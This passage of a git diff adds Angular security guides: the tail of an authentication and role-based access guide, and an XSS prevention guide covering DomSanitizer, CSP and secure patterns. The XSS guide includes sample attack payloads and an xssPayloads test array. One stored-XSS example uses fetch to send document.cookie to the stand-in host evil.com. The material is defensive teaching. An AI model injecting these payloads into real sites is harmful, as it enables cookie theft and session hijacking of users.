||||||
|
})
|
||||||
|
export class HasRoleDirective implements OnInit {
|
||||||
|
@Input() hasRole!: string | string[];
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
private rbac: RbacService,
|
||||||
|
private templateRef: TemplateRef<any>,
|
||||||
|
private viewContainer: ViewContainerRef
|
||||||
|
) {}
|
||||||
|
|
||||||
|
ngOnInit() {
|
||||||
|
const roles = Array.isArray(this.hasRole) ? this.hasRole : [this.hasRole];
|
||||||
|
|
||||||
|
if (this.rbac.hasAnyRole(roles)) {
|
||||||
|
this.viewContainer.createEmbeddedView(this.templateRef);
|
||||||
|
} else {
|
||||||
|
this.viewContainer.clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Usage
|
||||||
|
<div *hasRole="'admin'">
|
||||||
|
Admin content
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div *hasRole="['admin', 'editor']">
|
||||||
|
Admin or Editor content
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## HTTP Interceptors
|
||||||
|
|
||||||
|
### Auth Interceptor
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export const authInterceptor: HttpInterceptorFn = (req, next) => {
|
||||||
|
const authService = inject(AuthService);
|
||||||
|
const token = authService.getToken();
|
||||||
|
|
||||||
|
// Skip auth for certain URLs
|
||||||
|
if (req.url.includes('/auth/login') || req.url.includes('/auth/register')) {
|
||||||
|
return next(req);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add auth token
|
||||||
|
if (token) {
|
||||||
|
req = req.clone({
|
||||||
|
setHeaders: {
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
'X-Requested-With': 'XMLHttpRequest'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
return next(req).pipe(
|
||||||
|
catchError((error: HttpErrorResponse) => {
|
||||||
|
if (error.status === 401) {
|
||||||
|
// Token expired or invalid
|
||||||
|
authService.logout();
|
||||||
|
inject(Router).navigate(['/login']);
|
||||||
|
}
|
||||||
|
return throwError(() => error);
|
||||||
|
})
|
||||||
|
);
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
### Token Refresh Interceptor
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export const tokenRefreshInterceptor: HttpInterceptorFn = (req, next) => {
|
||||||
|
const authService = inject(AuthService);
|
||||||
|
const tokenService = inject(TokenRefreshService);
|
||||||
|
|
||||||
|
return next(req).pipe(
|
||||||
|
catchError((error: HttpErrorResponse) => {
|
||||||
|
if (error.status === 401 && !req.url.includes('/auth/refresh')) {
|
||||||
|
// Try to refresh token
|
||||||
|
return tokenService.refreshToken().pipe(
|
||||||
|
switchMap(newToken => {
|
||||||
|
// Retry request with new token
|
||||||
|
const cloned = req.clone({
|
||||||
|
setHeaders: {
|
||||||
|
Authorization: `Bearer ${newToken}`
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return next(cloned);
|
||||||
|
}),
|
||||||
|
catchError(refreshError => {
|
||||||
|
authService.logout();
|
||||||
|
return throwError(() => refreshError);
|
||||||
|
})
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return throwError(() => error);
|
||||||
|
})
|
||||||
|
);
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Session Management
|
||||||
|
|
||||||
|
### Session Service
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class SessionService {
|
||||||
|
private readonly TIMEOUT_DURATION = 30 * 60 * 1000; // 30 minutes
|
||||||
|
private timeoutId: any;
|
||||||
|
private lastActivity: number = Date.now();
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
private authService: AuthService,
|
||||||
|
private router: Router
|
||||||
|
) {
|
||||||
|
this.startMonitoring();
|
||||||
|
}
|
||||||
|
|
||||||
|
private startMonitoring(): void {
|
||||||
|
// Monitor user activity
|
||||||
|
fromEvent(document, 'click').pipe(
|
||||||
|
merge(
|
||||||
|
fromEvent(document, 'keypress'),
|
||||||
|
fromEvent(document, 'mousemove'),
|
||||||
|
fromEvent(document, 'scroll')
|
||||||
|
),
|
||||||
|
throttleTime(1000)
|
||||||
|
).subscribe(() => {
|
||||||
|
this.resetTimeout();
|
||||||
|
});
|
||||||
|
|
||||||
|
this.resetTimeout();
|
||||||
|
}
|
||||||
|
|
||||||
|
private resetTimeout(): void {
|
||||||
|
this.lastActivity = Date.now();
|
||||||
|
|
||||||
|
// Clear existing timeout
|
||||||
|
if (this.timeoutId) {
|
||||||
|
clearTimeout(this.timeoutId);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set new timeout
|
||||||
|
this.timeoutId = setTimeout(() => {
|
||||||
|
this.handleTimeout();
|
||||||
|
}, this.TIMEOUT_DURATION);
|
||||||
|
}
|
||||||
|
|
||||||
|
private handleTimeout(): void {
|
||||||
|
console.log('Session timeout - logging out');
|
||||||
|
this.authService.logout();
|
||||||
|
this.router.navigate(['/login'], {
|
||||||
|
queryParams: { reason: 'session_timeout' }
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
getLastActivity(): Date {
|
||||||
|
return new Date(this.lastActivity);
|
||||||
|
}
|
||||||
|
|
||||||
|
getRemainingTime(): number {
|
||||||
|
const elapsed = Date.now() - this.lastActivity;
|
||||||
|
return Math.max(0, this.TIMEOUT_DURATION - elapsed);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Best Practices
|
||||||
|
|
||||||
|
✅ **DO**:
|
||||||
|
- Use HTTPS for all auth endpoints
|
||||||
|
- Store tokens in HttpOnly cookies when possible
|
||||||
|
- Implement token refresh
|
||||||
|
- Use route guards for protected routes
|
||||||
|
- Validate tokens on server side
|
||||||
|
- Implement session timeout
|
||||||
|
- Log security events
|
||||||
|
- Use strong password policies
|
||||||
|
|
||||||
|
❌ **DON'T**:
|
||||||
|
- Store sensitive data in localStorage
|
||||||
|
- Send tokens in URL parameters
|
||||||
|
- Trust client-side validation alone
|
||||||
|
- Use weak encryption
|
||||||
|
- Expose user roles/permissions in JWT
|
||||||
|
- Skip CSRF protection
|
||||||
|
- Hardcode secrets in code
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Authenticate securely, authorize precisely! 🔐*
|
||||||
731
skills/xss-prevention/SKILL.md
Normal file
731
skills/xss-prevention/SKILL.md
Normal file
@@ -0,0 +1,731 @@
|
|||||||
|
# XSS Prevention in Angular
|
||||||
|
|
||||||
|
Complete guide to preventing Cross-Site Scripting (XSS) attacks in Angular applications.
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
1. [Understanding XSS](#understanding-xss)
|
||||||
|
2. [Angular's Built-in Protection](#angulars-built-in-protection)
|
||||||
|
3. [DomSanitizer](#domsanitizer)
|
||||||
|
4. [Content Security Policy](#content-security-policy)
|
||||||
|
5. [Secure Coding Patterns](#secure-coding-patterns)
|
||||||
|
6. [Common Vulnerabilities](#common-vulnerabilities)
|
||||||
|
7. [Testing for XSS](#testing-for-xss)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Understanding XSS
|
||||||
|
|
||||||
|
### Types of XSS
|
||||||
|
|
||||||
|
**1. Stored XSS (Persistent)**
|
||||||
|
```typescript
|
||||||
|
// Attacker stores malicious script in database
|
||||||
|
userBio = '<script>fetch("evil.com?cookie=" + document.cookie)</script>';
|
||||||
|
|
||||||
|
// Later displayed to other users
|
||||||
|
<div [innerHTML]="userBio"></div> // Executes script
|
||||||
|
```
|
||||||
|
|
||||||
|
**2. Reflected XSS (Non-persistent)**
|
||||||
|
```typescript
|
||||||
|
// Malicious link: https://example.com?search=<script>alert(1)</script>
|
||||||
|
|
||||||
|
// App reflects input without sanitization
|
||||||
|
<div>Search results for: {{ searchQuery }}</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
**3. DOM-based XSS**
|
||||||
|
```typescript
|
||||||
|
// URL: https://example.com#<img src=x onerror=alert(1)>
|
||||||
|
|
||||||
|
// Unsafe DOM manipulation
|
||||||
|
element.innerHTML = location.hash.substring(1);
|
||||||
|
```
|
||||||
|
|
||||||
|
### XSS Attack Vectors
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Script tags
|
||||||
|
<script>alert('XSS')</script>
|
||||||
|
|
||||||
|
// Event handlers
|
||||||
|
<img src=x onerror=alert('XSS')>
|
||||||
|
<div onclick=alert('XSS')>
|
||||||
|
|
||||||
|
// Data URLs
|
||||||
|
<a href="data:text/html,<script>alert('XSS')</script>">
|
||||||
|
|
||||||
|
// JavaScript URLs
|
||||||
|
<a href="javascript:alert('XSS')">
|
||||||
|
|
||||||
|
// Style injection
|
||||||
|
<div style="background:url('javascript:alert(XSS)')">
|
||||||
|
|
||||||
|
// SVG
|
||||||
|
<svg onload=alert('XSS')>
|
||||||
|
|
||||||
|
// Object/embed
|
||||||
|
<object data="javascript:alert('XSS')">
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Angular's Built-in Protection
|
||||||
|
|
||||||
|
### Automatic Escaping
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ SAFE: Angular auto-escapes
|
||||||
|
@Component({
|
||||||
|
template: `
|
||||||
|
<div>{{ userInput }}</div>
|
||||||
|
<div [textContent]="userInput"></div>
|
||||||
|
`
|
||||||
|
})
|
||||||
|
export class SafeComponent {
|
||||||
|
userInput = '<script>alert("XSS")</script>';
|
||||||
|
// Rendered as text, not executed
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Security Contexts
|
||||||
|
|
||||||
|
Angular sanitizes based on context:
|
||||||
|
|
||||||
|
| Context | Element | Sanitization |
|
||||||
|
|---------|---------|--------------|
|
||||||
|
| HTML | `[innerHTML]` | Remove scripts, styles |
|
||||||
|
| Style | `[style]` | Remove dangerous CSS |
|
||||||
|
| URL | `[href]`, `[src]` | Block javascript: |
|
||||||
|
| Resource URL | `<iframe src>` | Strict validation |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## DomSanitizer
|
||||||
|
|
||||||
|
### Basic Usage
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import { DomSanitizer, SafeHtml, SecurityContext } from '@angular/platform-browser';
|
||||||
|
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="safeHtml"></div>`
|
||||||
|
})
|
||||||
|
export class SanitizedComponent {
|
||||||
|
safeHtml: SafeHtml;
|
||||||
|
|
||||||
|
constructor(private sanitizer: DomSanitizer) {
|
||||||
|
const userInput = '<p>Hello</p><script>alert("XSS")</script>';
|
||||||
|
|
||||||
|
// Sanitize HTML
|
||||||
|
this.safeHtml = this.sanitizer.sanitize(
|
||||||
|
SecurityContext.HTML,
|
||||||
|
userInput
|
||||||
|
);
|
||||||
|
// Result: '<p>Hello</p>' (script removed)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Security Contexts
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export class SecurityContextsComponent {
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
|
||||||
|
// HTML Context
|
||||||
|
sanitizeHtml(html: string): SafeHtml {
|
||||||
|
return this.sanitizer.sanitize(SecurityContext.HTML, html);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Style Context
|
||||||
|
sanitizeStyle(style: string): SafeStyle {
|
||||||
|
return this.sanitizer.sanitize(SecurityContext.STYLE, style);
|
||||||
|
}
|
||||||
|
|
||||||
|
// URL Context
|
||||||
|
sanitizeUrl(url: string): SafeUrl {
|
||||||
|
return this.sanitizer.sanitize(SecurityContext.URL, url);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Resource URL Context (iframes, etc)
|
||||||
|
sanitizeResourceUrl(url: string): SafeResourceUrl {
|
||||||
|
return this.sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypassing Security (Use with Extreme Caution)
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ⚠️ DANGEROUS: Only use when absolutely necessary
|
||||||
|
export class BypassSecurityComponent {
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
|
||||||
|
// Bypass HTML sanitization
|
||||||
|
getTrustedHtml(html: string): SafeHtml {
|
||||||
|
// Only use with trusted, server-validated content!
|
||||||
|
return this.sanitizer.bypassSecurityTrustHtml(html);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Bypass URL sanitization
|
||||||
|
getTrustedUrl(url: string): SafeUrl {
|
||||||
|
// Validate URL is from trusted domain first!
|
||||||
|
if (this.isTrustedDomain(url)) {
|
||||||
|
return this.sanitizer.bypassSecurityTrustUrl(url);
|
||||||
|
}
|
||||||
|
throw new Error('Untrusted URL');
|
||||||
|
}
|
||||||
|
|
||||||
|
private isTrustedDomain(url: string): boolean {
|
||||||
|
const trustedDomains = ['example.com', 'cdn.example.com'];
|
||||||
|
try {
|
||||||
|
const domain = new URL(url).hostname;
|
||||||
|
return trustedDomains.some(trusted => domain.endsWith(trusted));
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Safe HTML with Markdown
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import { marked } from 'marked';
|
||||||
|
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="renderedMarkdown"></div>`
|
||||||
|
})
|
||||||
|
export class MarkdownComponent {
|
||||||
|
@Input() set markdown(value: string) {
|
||||||
|
// Convert markdown to HTML
|
||||||
|
const rawHtml = marked(value);
|
||||||
|
|
||||||
|
// Sanitize the HTML
|
||||||
|
this.renderedMarkdown = this.sanitizer.sanitize(
|
||||||
|
SecurityContext.HTML,
|
||||||
|
rawHtml
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
renderedMarkdown: SafeHtml;
|
||||||
|
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Content Security Policy
|
||||||
|
|
||||||
|
### CSP Headers
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!-- index.html -->
|
||||||
|
<meta http-equiv="Content-Security-Policy" content="
|
||||||
|
default-src 'self';
|
||||||
|
script-src 'self' 'nonce-{RANDOM}';
|
||||||
|
style-src 'self' 'nonce-{RANDOM}';
|
||||||
|
img-src 'self' data: https:;
|
||||||
|
font-src 'self' data:;
|
||||||
|
connect-src 'self' https://api.example.com;
|
||||||
|
frame-ancestors 'none';
|
||||||
|
base-uri 'self';
|
||||||
|
form-action 'self';
|
||||||
|
">
|
||||||
|
```
|
||||||
|
|
||||||
|
### CSP Directives
|
||||||
|
|
||||||
|
```
|
||||||
|
default-src 'self' # Default policy
|
||||||
|
script-src 'self' 'unsafe-inline' # Where scripts can load from
|
||||||
|
style-src 'self' 'unsafe-inline' # Where styles can load from
|
||||||
|
img-src 'self' data: https: # Image sources
|
||||||
|
font-src 'self' data: # Font sources
|
||||||
|
connect-src 'self' api.example.com # XHR/WebSocket connections
|
||||||
|
frame-ancestors 'none' # Prevent clickjacking
|
||||||
|
base-uri 'self' # Restrict <base> tag
|
||||||
|
form-action 'self' # Form submission targets
|
||||||
|
upgrade-insecure-requests # Upgrade HTTP to HTTPS
|
||||||
|
```
|
||||||
|
|
||||||
|
### CSP with Nonce
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Server-side (Node.js example)
|
||||||
|
app.use((req, res, next) => {
|
||||||
|
const nonce = crypto.randomBytes(16).toString('base64');
|
||||||
|
res.locals.nonce = nonce;
|
||||||
|
|
||||||
|
res.setHeader('Content-Security-Policy', `
|
||||||
|
script-src 'self' 'nonce-${nonce}';
|
||||||
|
style-src 'self' 'nonce-${nonce}';
|
||||||
|
`);
|
||||||
|
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
|
||||||
|
// HTML template
|
||||||
|
<script nonce="<%= nonce %>">
|
||||||
|
console.log('Allowed with nonce');
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### CSP Violation Reporting
|
||||||
|
|
||||||
|
```html
|
||||||
|
<meta http-equiv="Content-Security-Policy" content="
|
||||||
|
default-src 'self';
|
||||||
|
report-uri /api/csp-violations;
|
||||||
|
">
|
||||||
|
```
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Server endpoint to receive violations
|
||||||
|
app.post('/api/csp-violations', (req, res) => {
|
||||||
|
console.error('CSP Violation:', req.body);
|
||||||
|
// Log to security monitoring system
|
||||||
|
res.status(204).end();
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Secure Coding Patterns
|
||||||
|
|
||||||
|
### Pattern 1: Avoid innerHTML
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ BAD
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="content"></div>`
|
||||||
|
})
|
||||||
|
|
||||||
|
// ✅ GOOD: Use text interpolation
|
||||||
|
@Component({
|
||||||
|
template: `<div>{{ content }}</div>`
|
||||||
|
})
|
||||||
|
|
||||||
|
// ✅ GOOD: Component composition
|
||||||
|
@Component({
|
||||||
|
template: `
|
||||||
|
<div *ngFor="let item of items">
|
||||||
|
<app-safe-content [data]="item"></app-safe-content>
|
||||||
|
</div>
|
||||||
|
`
|
||||||
|
})
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pattern 2: Whitelist URLs
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Component({
|
||||||
|
template: `<a [href]="safeUrl">Link</a>`
|
||||||
|
})
|
||||||
|
export class LinkComponent {
|
||||||
|
@Input() set url(value: string) {
|
||||||
|
this.safeUrl = this.validateUrl(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
safeUrl: string | null;
|
||||||
|
|
||||||
|
private allowedProtocols = ['http:', 'https:', 'mailto:'];
|
||||||
|
private blockedDomains = ['evil.com', 'phishing.net'];
|
||||||
|
|
||||||
|
private validateUrl(url: string): string | null {
|
||||||
|
try {
|
||||||
|
const parsed = new URL(url);
|
||||||
|
|
||||||
|
// Check protocol
|
||||||
|
if (!this.allowedProtocols.includes(parsed.protocol)) {
|
||||||
|
console.warn('Blocked URL with invalid protocol:', url);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check domain blacklist
|
||||||
|
if (this.blockedDomains.some(blocked =>
|
||||||
|
parsed.hostname.includes(blocked)
|
||||||
|
)) {
|
||||||
|
console.warn('Blocked URL from blacklisted domain:', url);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return url;
|
||||||
|
} catch {
|
||||||
|
console.warn('Invalid URL:', url);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pattern 3: Sanitize User Content
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class ContentSanitizerService {
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
|
||||||
|
// Sanitize HTML content
|
||||||
|
sanitizeHtml(html: string): SafeHtml {
|
||||||
|
// Remove dangerous tags
|
||||||
|
const dangerous = ['script', 'iframe', 'object', 'embed', 'style'];
|
||||||
|
let cleaned = html;
|
||||||
|
|
||||||
|
dangerous.forEach(tag => {
|
||||||
|
const regex = new RegExp(`<${tag}[^>]*>.*?<\/${tag}>`, 'gi');
|
||||||
|
cleaned = cleaned.replace(regex, '');
|
||||||
|
});
|
||||||
|
|
||||||
|
// Remove event handlers
|
||||||
|
cleaned = cleaned.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '');
|
||||||
|
|
||||||
|
// Sanitize with Angular
|
||||||
|
return this.sanitizer.sanitize(SecurityContext.HTML, cleaned);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Sanitize for display in form
|
||||||
|
sanitizeFormInput(input: string): string {
|
||||||
|
return input
|
||||||
|
.replace(/</g, '<')
|
||||||
|
.replace(/>/g, '>')
|
||||||
|
.replace(/"/g, '"')
|
||||||
|
.replace(/'/g, ''')
|
||||||
|
.replace(/\//g, '/');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pattern 4: Safe File Upload
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Component({
|
||||||
|
template: `
|
||||||
|
<input type="file" (change)="onFileSelect($event)" accept="image/*">
|
||||||
|
<img *ngIf="preview" [src]="preview" alt="Preview">
|
||||||
|
`
|
||||||
|
})
|
||||||
|
export class SafeFileUploadComponent {
|
||||||
|
preview: SafeUrl | null = null;
|
||||||
|
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
|
||||||
|
onFileSelect(event: Event) {
|
||||||
|
const input = event.target as HTMLInputElement;
|
||||||
|
const file = input.files?.[0];
|
||||||
|
|
||||||
|
if (!file) return;
|
||||||
|
|
||||||
|
// Validate file type
|
||||||
|
const validTypes = ['image/jpeg', 'image/png', 'image/gif'];
|
||||||
|
if (!validTypes.includes(file.type)) {
|
||||||
|
alert('Invalid file type');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate file size (5MB max)
|
||||||
|
if (file.size > 5 * 1024 * 1024) {
|
||||||
|
alert('File too large');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create safe preview
|
||||||
|
const reader = new FileReader();
|
||||||
|
reader.onload = (e) => {
|
||||||
|
const dataUrl = e.target?.result as string;
|
||||||
|
|
||||||
|
// Sanitize data URL
|
||||||
|
this.preview = this.sanitizer.sanitize(
|
||||||
|
SecurityContext.URL,
|
||||||
|
dataUrl
|
||||||
|
);
|
||||||
|
};
|
||||||
|
reader.readAsDataURL(file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pattern 5: Safe Dynamic Content
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ BAD: Dynamic script execution
|
||||||
|
eval(userCode);
|
||||||
|
new Function(userCode)();
|
||||||
|
|
||||||
|
// ✅ GOOD: Configuration-based logic
|
||||||
|
@Component({
|
||||||
|
template: `
|
||||||
|
<div *ngIf="config.showHeader">
|
||||||
|
<h1>{{ config.title }}</h1>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div *ngFor="let section of config.sections">
|
||||||
|
<app-section [data]="section"></app-section>
|
||||||
|
</div>
|
||||||
|
`
|
||||||
|
})
|
||||||
|
export class ConfigurableComponent {
|
||||||
|
@Input() config: {
|
||||||
|
showHeader: boolean;
|
||||||
|
title: string;
|
||||||
|
sections: Section[];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Common Vulnerabilities
|
||||||
|
|
||||||
|
### Vulnerability 1: innerHTML with User Data
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ VULNERABLE
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="userBio"></div>`
|
||||||
|
})
|
||||||
|
export class VulnerableComponent {
|
||||||
|
@Input() userBio: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attack:
|
||||||
|
userBio = '<img src=x onerror="alert(document.cookie)">';
|
||||||
|
|
||||||
|
// ✅ FIX 1: Remove innerHTML
|
||||||
|
@Component({
|
||||||
|
template: `<div>{{ userBio }}</div>`
|
||||||
|
})
|
||||||
|
|
||||||
|
// ✅ FIX 2: Sanitize
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="safeUserBio"></div>`
|
||||||
|
})
|
||||||
|
export class SecureComponent {
|
||||||
|
@Input() set userBio(value: string) {
|
||||||
|
this.safeUserBio = this.sanitizer.sanitize(
|
||||||
|
SecurityContext.HTML,
|
||||||
|
value
|
||||||
|
);
|
||||||
|
}
|
||||||
|
safeUserBio: SafeHtml;
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Vulnerability 2: Unsafe URL Binding
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ VULNERABLE
|
||||||
|
<a [href]="userUrl">Click</a>
|
||||||
|
|
||||||
|
// Attack:
|
||||||
|
userUrl = 'javascript:alert(document.cookie)';
|
||||||
|
|
||||||
|
// ✅ FIX
|
||||||
|
@Component({
|
||||||
|
template: `<a [href]="safeUrl">Click</a>`
|
||||||
|
})
|
||||||
|
export class SecureComponent {
|
||||||
|
@Input() set userUrl(value: string) {
|
||||||
|
try {
|
||||||
|
const url = new URL(value);
|
||||||
|
if (url.protocol === 'http:' || url.protocol === 'https:') {
|
||||||
|
this.safeUrl = value;
|
||||||
|
} else {
|
||||||
|
console.warn('Blocked unsafe URL protocol:', url.protocol);
|
||||||
|
this.safeUrl = null;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
this.safeUrl = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
safeUrl: string | null;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Vulnerability 3: Document Write
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ NEVER USE
|
||||||
|
document.write(userContent);
|
||||||
|
document.writeln(userContent);
|
||||||
|
|
||||||
|
// ✅ USE ANGULAR
|
||||||
|
@Component({
|
||||||
|
template: `<div>{{ content }}</div>`
|
||||||
|
})
|
||||||
|
```
|
||||||
|
|
||||||
|
### Vulnerability 4: Unsafe Third-Party Content
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ VULNERABLE: Untrusted iframe
|
||||||
|
<iframe [src]="videoUrl"></iframe>
|
||||||
|
|
||||||
|
// ✅ SECURE: Whitelist domains
|
||||||
|
@Component({
|
||||||
|
template: `<iframe *ngIf="trustedUrl" [src]="trustedUrl"></iframe>`
|
||||||
|
})
|
||||||
|
export class VideoComponent {
|
||||||
|
@Input() set videoUrl(url: string) {
|
||||||
|
const trusted = ['youtube.com', 'vimeo.com'];
|
||||||
|
try {
|
||||||
|
const domain = new URL(url).hostname;
|
||||||
|
if (trusted.some(t => domain.includes(t))) {
|
||||||
|
this.trustedUrl = this.sanitizer.bypassSecurityTrustResourceUrl(url);
|
||||||
|
} else {
|
||||||
|
console.warn('Untrusted video domain:', domain);
|
||||||
|
this.trustedUrl = null;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
this.trustedUrl = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
trustedUrl: SafeResourceUrl | null;
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Testing for XSS
|
||||||
|
|
||||||
|
### Manual Testing
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Test payloads
|
||||||
|
const xssPayloads = [
|
||||||
|
'<script>alert("XSS")</script>',
|
||||||
|
'<img src=x onerror=alert("XSS")>',
|
||||||
|
'<svg onload=alert("XSS")>',
|
||||||
|
'javascript:alert("XSS")',
|
||||||
|
'<iframe src="javascript:alert(\'XSS\')">',
|
||||||
|
'<body onload=alert("XSS")>',
|
||||||
|
'<input onfocus=alert("XSS") autofocus>',
|
||||||
|
'<select onfocus=alert("XSS") autofocus>',
|
||||||
|
'<textarea onfocus=alert("XSS") autofocus>',
|
||||||
|
'<img src=x:alert(alt) onerror=eval(src) alt=xss>',
|
||||||
|
'"><script>alert(String.fromCharCode(88,83,83))</script>',
|
||||||
|
'<img src=/ onerror="alert(String.fromCharCode(88,83,83))">',
|
||||||
|
];
|
||||||
|
|
||||||
|
// Test each input field
|
||||||
|
xssPayloads.forEach(payload => {
|
||||||
|
component.userInput = payload;
|
||||||
|
fixture.detectChanges();
|
||||||
|
// Check if script executes or is safely escaped
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### Automated Testing
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
describe('XSS Prevention', () => {
|
||||||
|
it('should escape HTML in text interpolation', () => {
|
||||||
|
component.content = '<script>alert("XSS")</script>';
|
||||||
|
fixture.detectChanges();
|
||||||
|
|
||||||
|
const element = fixture.nativeElement;
|
||||||
|
expect(element.textContent).toContain('<script>');
|
||||||
|
expect(element.innerHTML).not.toContain('<script>');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should sanitize innerHTML', () => {
|
||||||
|
const malicious = '<p>Safe</p><script>alert("XSS")</script>';
|
||||||
|
component.setHtml(malicious);
|
||||||
|
fixture.detectChanges();
|
||||||
|
|
||||||
|
const element = fixture.nativeElement.querySelector('.content');
|
||||||
|
expect(element.innerHTML).toContain('<p>Safe</p>');
|
||||||
|
expect(element.innerHTML).not.toContain('<script>');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should block javascript: URLs', () => {
|
||||||
|
component.url = 'javascript:alert("XSS")';
|
||||||
|
fixture.detectChanges();
|
||||||
|
|
||||||
|
const link = fixture.nativeElement.querySelector('a');
|
||||||
|
expect(link.getAttribute('href')).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### Security Testing Tools
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# OWASP ZAP
|
||||||
|
docker run -t owasp/zap2docker-stable zap-baseline.py \
|
||||||
|
-t http://localhost:4200
|
||||||
|
